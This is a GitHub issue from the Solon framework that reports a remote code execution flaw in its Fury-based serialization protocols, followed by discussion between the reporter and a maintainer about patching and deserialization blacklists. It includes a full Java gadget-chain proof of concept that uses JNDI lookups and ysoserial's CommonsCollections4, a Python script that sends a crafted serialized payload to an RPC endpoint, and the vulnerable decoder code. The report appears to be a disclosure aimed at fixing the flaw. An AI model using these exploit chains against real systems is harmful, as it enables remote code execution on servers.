opensolon/solon

Two serialization protocols `nami.coder.fury` and `solon.serialization.fury` in Solon are vulnerable, the modules associated with them are at risk of RCE attacks.

Closed this issue · 7 comments

Summary

Solon has two serialization protocols nami.coder.fury and solon.serialization.fury. However, we found that these two protocols are not sufficiently secure, and multiple modules that introduce them are at risk of RCE (Remote Code Execution) attacks. An attacker could complete a remote code execution attack by sending carefully constructed serialized data.

Vulnerable modules

The vulnerability affects functional modules related to the use of nami.coder.fury and solon.serialization.fury. Some simple attack replications are illustrated below.

PoC

Example #1 (demo7001-simple_protostuff).

  1. Provider Side
package demo7001.server;

import org.noear.solon.Solon;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Remoting;
import demo7001.protocol.UserModel;
import demo7001.protocol.UserService;

@Mapping("/user/")
@Remoting
public class RpcService implements UserService {
    public static void main(String[] args) {
        Solon.start(RpcService.class, args);
    }

    @Override
    public UserModel getUser(Integer userId,Object user) {
        UserModel model = new UserModel();
        model.setId(3);
        model.setName("user-" + user);

        return model;
    }
}


package demo7001.protocol;

public interface UserService {
    UserModel getUser(Integer userId, Object user);
}


package demo7001.protocol;

import lombok.Data;

@Data
public class UserModel {
    private long id;
    private String name;
    private int sex;
    private String label;
}

dependence:

<dependency>
        <groupId>com.caucho</groupId>
        <artifactId>quercus</artifactId>
        <version>4.0.66</version>
</dependency>
<dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-collections4</artifactId>
      <version>4.0</version>
</dependency>
  1. Attacker Side
    (a) Set up a malicious LDAP server

The attacker could use ysoserial(https://github.com/frohoff/ysoserial) to set up a malicious LDAP server. In this example, we use the well-known exploit chain CommonsCollections4 from ysoserial to accomplish the subsequent attack. Of course, many other chains exist to choose from.
截屏2024-04-01 18 42 30

(b) POC

package demo7001.client;

import com.sun.deploy.config.ClientConfig;
import demo7001.attacker.POC;
import org.noear.nami.annotation.NamiClient;
import org.noear.nami.common.ContentTypes;
import org.noear.solon.Solon;
import org.noear.solon.annotation.Component;
import demo7001.protocol.UserModel;
import demo7001.protocol.UserService;
import org.noear.solon.core.AppContext;

@Component
public class RpcClient {
    public static void main(String[] args) throws Exception {
        Solon.start(RpcClient.class, args, app -> app.enableHttp(false));

        RpcClient client = Solon.context().getBean(RpcClient.class);
        client.test(POC.getEvilObj());
    }

    @NamiClient(url="http://localhost:8080/user/", configuration = RpcConfigure.class)
    UserService userService;

    @NamiClient(name = "local",path = "/user/")
    UserService userService2;

    public void test(Object object) {
        UserModel user = userService.getUser(3, object);
        System.out.println(user);
    }
}

package demo7001.client;

import org.noear.nami.NamiBuilder;
import org.noear.nami.NamiConfiguration;
import org.noear.nami.annotation.NamiClient;
import org.noear.nami.coder.fury.FuryDecoder;
import org.noear.nami.coder.fury.FuryEncoder;
import org.noear.solon.annotation.Component;

/**
 * @author noear 2023/2/3 created
 */
@Component
public class RpcConfigure implements NamiConfiguration {
    @Override
    public void config(NamiClient client, NamiBuilder builder) {
        builder.encoder(FuryEncoder.instance);
        builder.decoder(FuryDecoder.instance);
    }
}
POC.java
package demo7001.attacker;

import com.caucho.naming.ContextImpl;
import com.caucho.naming.MemoryModel;
import com.caucho.naming.QBindingEnumeration;
import com.nqzero.permit.Permit;
import com.sun.jndi.rmi.registry.RegistryContext;
import com.sun.org.apache.xpath.internal.objects.XStringForFSB;
import sun.reflect.ReflectionFactory;

import java.lang.reflect.*;
import java.util.AbstractMap;
import java.util.ArrayList;
import java.util.HashMap;

public class POC {
    public static Object getEvilObj() throws Exception {
        RegistryContext registryContext = new RegistryContext("127.0.0.1", 8989, null);
        MemoryModel memoryModel = new MemoryModel();
        memoryModel.bind("evil", registryContext);
        ContextImpl context = new ContextImpl("rmi://localhost:8888/8tr4qv", memoryModel, null);
        Constructor c = QBindingEnumeration.class.getDeclaredConstructors()[0];
        c.setAccessible(true);
        ArrayList<String> list = new ArrayList<>();
        list.add("/evil/8tr4qv");
        QBindingEnumeration enumeration = (QBindingEnumeration) c.newInstance(context, list);
        XStringForFSB xString = createWithoutConstructor(XStringForFSB.class);
        setFieldValue(xString, "m_strCache", "nxjkas");


        return makeSimpleEntryToHashMap(enumeration, xString);
    }

    public static Object makeSimpleEntryToHashMap(Object o1, Object o2) throws Exception{
        AbstractMap.SimpleEntry simpleEntry1 = new AbstractMap.SimpleEntry(o1, o2);
        AbstractMap.SimpleEntry simpleEntry2 = new AbstractMap.SimpleEntry(o2, o1);

        return makeMap(simpleEntry1, simpleEntry2);
    }

    public static HashMap makeMap (Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
            IllegalAccessException, InvocationTargetException {
        HashMap s = new HashMap();
        setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        setAccessible(nodeCons);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }

    public static void setFieldValue(Object obj, String field, Object value){
        try{
            Class clazz = obj.getClass();
            Field fld = getField(clazz,field);
            fld.setAccessible(true);
            fld.set(obj, value);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }

    public static void setAccessible(AccessibleObject member) {
        String versionStr = System.getProperty("java.version");
        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
        if (javaVersion < 12) {
            // quiet runtime warnings from JDK9+
            Permit.setAccessible(member);
        } else {
            member.setAccessible(true);
        }
    }
}

Attack Results

截屏2024-04-01 18 36 40

Impact

This attack can cause remote arbitrary code execution.

Example#2 ( demo3041-gateway)

  1. Provider Side
public class WebApp {
    public static void main(String[] args) {xw
        Solon.start(WebApp.class, args);
    }
}


@Component
public class UserServiceImpl implements UserService {
    @Inject
    UserDao userDao;

    @Override
    public UserModel getUser(String name) {
        UserModel user = userDao.getUser();

        return user;
    }
}

public interface UserService {
    UserModel getUser(String name);
}
截屏2024-04-01 17 00 45
  1. Attacker Side
    (a) Set up a malicious LDAP server: Like the example#1

(b) Use the Python script to send crafted serialized data and identify the special vulnerable protocol to deserialize the malignant data (like Issue #226).

import requests


with open("/.../fury.ser","rb") as f:
    body= f.read()
    print(len(body))
    burp0_url = "http://127.0.0.1:8080/rpc/v1/user/getUser"
    burp0_cookies = {"_xxxxxx": "\"...==\"", "Hm_lvt_...": "..."}
    ct = "application/fury"
    burp0_headers = {
        "User-Agent": "...",
        "Accept": "...",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "deflate",
        "Connection": "close", "Content-Type": ct, "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1"}

    res = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=body)

Attack Results

截屏2024-04-01 17 13 36

Impact

This attack can cause remote arbitrary code execution.

Vulnerable Code in nami.coder.fury

A vulnerability similar to the one described above exists when calling FuryDecoder to deserialize data, which can lead to an RCE attack.

package org.noear.nami.coder.fury;

import java.lang.reflect.Type;
import org.noear.nami.Context;
import org.noear.nami.Decoder;
import org.noear.nami.Result;

public class FuryDecoder implements Decoder {
    public static final FuryDecoder instance = new FuryDecoder();

    public FuryDecoder() {
    }

    public String enctype() {
        return "application/hessian";
    }

    public <T> T decode(Result rst, Type type) {
        Object returnVal = null;

        try {
            if (rst.body().length == 0) {
                return null;
            }

            returnVal = FuryUtil.fury.deserialize(rst.body());
        } catch (Throwable var5) {
            returnVal = var5;
        }

        if (returnVal != null && returnVal instanceof Throwable) {
            if (returnVal instanceof RuntimeException) {
                throw (RuntimeException)returnVal;
            } else {
                throw new RuntimeException((Throwable)returnVal);
            }
        } else {
            return returnVal;
        }
    }

    public void pretreatment(Context ctx) {
        ctx.headers.put("X-Serialization", "@fury");
        ctx.headers.put("Accept", "application/fury");
    }
}

Thanks for the feedback!

Thanks for the feedback. Excuse me, which country are you from?

There was a problem with the previous pr merge. rpc calls can no longer pass exceptions。

Thanks for the feedback. Excuse me, which country are you from?

Hi, I'm a student recently focused on Java deserialization vulnerability mining and exploitability research. We found that this kind of vulnerability patch is easy to incomplete (E.g. Issue#226), so I try to submit a patch to help fix it.

I found the prior patch for issue #226 only updated the Fury, but it didn't quite beef up the deserialization security. It didn't tweak Fury's default blacklist or dial up the security levels. Therefore, I submitted the patches, though, shakes things up by slotting in custom blacklists for a niftier guard strategy.

All serialization schemes that declare metadata directly from data have this problem. And the problems are endless, the headaches

所有直接从数据声明元数据的序列化方案都有这个问题。问题无穷无尽,令人头疼

Yeah, it's a headache, and even different users and different deployment environments should require different levels of defense. So I suggest Solon can be configured with a more flexible, user-defined deserialization defense mechanism.
For example, to further improve the blacklist, or to change the AllowListChecker.CheckLevel (to set different levels of stringency) according to business needs. If it's convenient, can we exchange emails to further discuss the default blacklist configuration?

And thanks for your efforts in reviewing my prs. I was very sorry to find out that there were some issues in prior ones. I've been more into bug hunting and suggesting blacklist tweaks until now, so this is my first stab at a PR fix. I do my best efforts to review this patch, but I might still miss some corner cases. I'd be grateful for the check you made before the official release.

That's good advice. Later I made the serialization blacklist a standard interface.